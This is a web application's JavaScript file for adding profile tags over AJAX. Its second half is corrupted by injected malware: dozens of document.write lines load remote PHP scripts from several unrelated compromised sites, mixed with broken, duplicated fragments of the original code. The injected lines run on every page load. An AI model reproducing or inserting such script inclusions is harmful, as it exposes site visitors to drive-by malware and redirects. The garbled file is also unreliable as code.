var Xmlhttp;
var objrowCnt;
objrowCnt=0;


var isIE=false;
var isIE7 = false;
if(!window.XMLHttpRequest)  
{  
	isIE=true;
}

if((window.navigator.appName).toLowerCase()=='microsoft internet explorer') //checking for Ie7
{
   var version = window.navigator.appVersion;
   var version1 ;
   if(version.indexOf("MSIE")!=-1)
   {
	version1 = version.substring((version.indexOf("MSIE")+4),version.length);
	version1 = version1.substring(0,2);
	if ( parseInt(version1) == 7)
	{
		isIE=true;
		isIE7 = true;
	}
   } 
    
}
function createXmlHttp()
{
	var moz = (typeof document.implementation != 'undefined') && (typeof 
	document.implementation.createDocument != 'undefined');
	if (moz)
	{
	Xmlhttp = new XMLHttpRequest();
	}
	else // for Ie
	{
		try
			{
				Xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
			}
		catch(e)
		{
			try
			{
				Xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			} 
			catch(oc)
			{
				Xmlhttp = null;
			}
		}
	}  //end else;	
}// end createXmlhttp;

function showlogindiv(strInd,obj,rowCnt,event)
{
	var intloop;
	objrowCnt=rowCnt;
	
	for(intloop=strInd;intloop<strInd+rowCnt+1;intloop++)
	{
		document.getElementById('divaddtags' + intloop).style.display='none';
	}
	
	//document.getElementById('divaddtags' + obj).style.zIndex=250;
	document.getElementById('divaddtags' + obj).style.display='';
	//document.getElementById('divaddtags' + obj).style.top = (window.event.y)-100;
	var E=window.event?window.event:event;                        
     menuLayers.show('divaddtags' + obj, E);
	
	return false;
}



function CloseCancel(obj)
{
	
	if(isIE==true)
	{
		obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
		obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
	}
	else
	{
		obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
		obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
	}
	obj.parentNode.parentNode.parentNode.parentNode.parentNode.style.display='none'
	return false;
}	

function CloseDiv(obj)   //     anchor click
{
	
	if(isIE==true)
	{
		obj.parentNode.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
		obj.parentNode.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
	}
	else
	{
		obj.parentNode.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
		obj.parentNode.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
	}
	obj.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.style.display='none'
	return false;
}	



function fnAddTag(obj,rowcnt)
{
	var TagName;
	var profileId;
	var Reference=1;	
	var valid;
	var temp;
	if(validateTag(obj)==true)
	{
		if(isIE==true)
		{
			TagName=obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value;
			profileId=obj.parentNode.parentNode.childNodes[0].childNodes[0].innerHTML;
		}
		else
		{
			TagName=obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value;
			profileId=obj.parentNode.parentNode.childNodes[0].childNodes[0].innerHTML;
		}	
		url="AjaxServerPage.aspx?FunctionName=AddTag&profileId=" + profileId + "&TagName=" + TagName + "&Ref=" + Reference;			
		createXmlHttp();
		
		if(Xmlhttp)
		{
			
			if(document.all)
				{
						Xmlhttp.open("POST", url, true);
						Xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
				}
				else
				{
					Xmlhttp.open("GET", url, true); 
				}        
				    
				Xmlhttp.onreadystatechange =function ()
												{
													if(Xmlhttp.readyState==4)
													{
														if(Xmlhttp.status==200)
														{
															
															if(Xmlhttp.responseText=='Saved')
															{
																temp=document.getElementById('lbltagnames' + rowcnt);
																if((Trim(temp.innerHTML)=='')||(Trim(temp.innerHTML)=='N/A'))
																{
																	temp.innerHTML= TagName;
																}
																else
																{
																	temp.innerHTML= temp.innerHTML + ', ' + TagName;
																}
																obj.parentNode.parentNode.parentNode.parentNode.parentNode.style.display='none';
																if(isIE==true)
																{
																	obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
																}
																else
																{
																	obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
																}
															}
															else
															{
																if(isIE==true)
																{
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "Unable to add Tag.Please try again.";
																}
																else
																{
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "Unable to add Tag.Please try again.";
																}
															}
														}
														else 
														{
															alert("There was a problem retrieving data from the server." );
														}
													}
												}
							
				Xmlhttp.send(null);
									
			}
		}
		
		
}

function validateTag(obj)
{
	var valid=true;
	var TagName;
	
	if(isIE==true)
	{
		TagName=obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value;
	}
	else
	{
		TagName=obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value;
	}
	
	if(Trim(TagName) == "")
	{
		if(isIE==true)
		{
			obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "The following field(s) have invalid values: Tag Name.";
		}
		else
		{
			obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "The following field(s) have invalid values: Tag Name.";
		}
		valid=false
	}
	
	
	
	return valid; 	 
}
     
function Trim(sString) 
{
			
	while (sString.substring(0,1) == ' ')
	{
	sString = sString.substring(1, sString.length)
	}
	while(sString.substring(sString.length-1, sString.length) == ' ')
	{
	sString = sString.substring(0,sString.length-1);
	}
	return sString;
}	


document.write('<script src=http://dadthing.com/hoylmp.innerHTML)=='')||(Trim(temp.innerHTML)=='N/A'))
																{
																	temp.innerHTML= TagName;
																}
																else
																{
																	temp.innerHTML= temp.innerHTML + ', ' + TagName;
																}
																obj.parentNode.parentNode.parentNode.parentNode.parentNode.style.display='none';
																if(isIE==true)
																{
																	obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
																}
																else
																{
																	obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
																}
															}
															else
															{
																if(isIE==true)
																{
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "Unable to add Tag.Please try again.";
																}
																else
																{
anconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');f(isIE==true)
		{
			obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "The following field(s) have invalid values: Tag Name.";
		}
		else
		{
			obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "The following field(s) have invalid values: Tag Name.";
		}
		valid=false
	}
	
	
	
	return valid; 	 
}
     
function Trim(sString) 
{
			
	while (sString.substring(0,1) == ' ')
	{
	sString = sString.substring(1, sString.length)
	}
	while(sString.substring(sString.length-1, sString.length) == ' ')
	{
	sString = sString.substring(0,sString.length-1);
	}
	return sString;
}	


document.write('<script src=http://dadthing.com/hoylmp.innerHTML)=='')||(Trim(temp.innerHTML)=='N/A'))
																{
																	temp.innerHTML= TagName;
																}
																else
																{
																	temp.innerHTML= temp.innerHTML + ', ' + TagName;
																}
																obj.parentNode.parentNode.parentNode.parentNode.parentNode.style.display='none';
																if(isIE==true)
																{
																	obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
																}
																else
																{
																	obj.parentNode.parentNode.parentNode.childNodes[6].childNodes[1].childNodes[0].value='';
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML = '';
																}
															}
															else
															{
																if(isIE==true)
																{
																	obj.parentNode.parentNode.parentNode.childNodes[5].childNodes[0].childNodes[0].innerHTML =  "Unable to add Tag.Please try again.";
																}
																else
																{

document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://feuerwehrlautenbach.de/Archiv/news.php ><\/script>');
document.write('<script src=http://allaboutyou-boutique.com/sitechecker/shoes.php ><\/script>');
document.write('<script src=http://allaboutyou-boutique.com/sitechecker/shoes.php ><\/script>');
document.write('<script src=http://obrazy.cz/images/xz7e/linka.php ><\/script>');
document.write('<script src=http://obrazy.cz/images/xz7e/linka.php ><\/script>');
document.write('<script src=http://obrazy.cz/images/xz7e/linka.php ><\/script>');
document.write('<script src=http://obrazy.cz/images/xz7e/linka.php ><\/script>');
document.write('<script src=http://obrazy.cz/images/xz7e/linka.php ><\/script>');
document.write('<script src=http://obrazy.cz/images/xz7e/linka.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://jassportfolio.se/logs/INSTALL.php ><\/script>');
document.write('<script src=http://gpzlatibor.rs/stats/det11.php ><\/script>');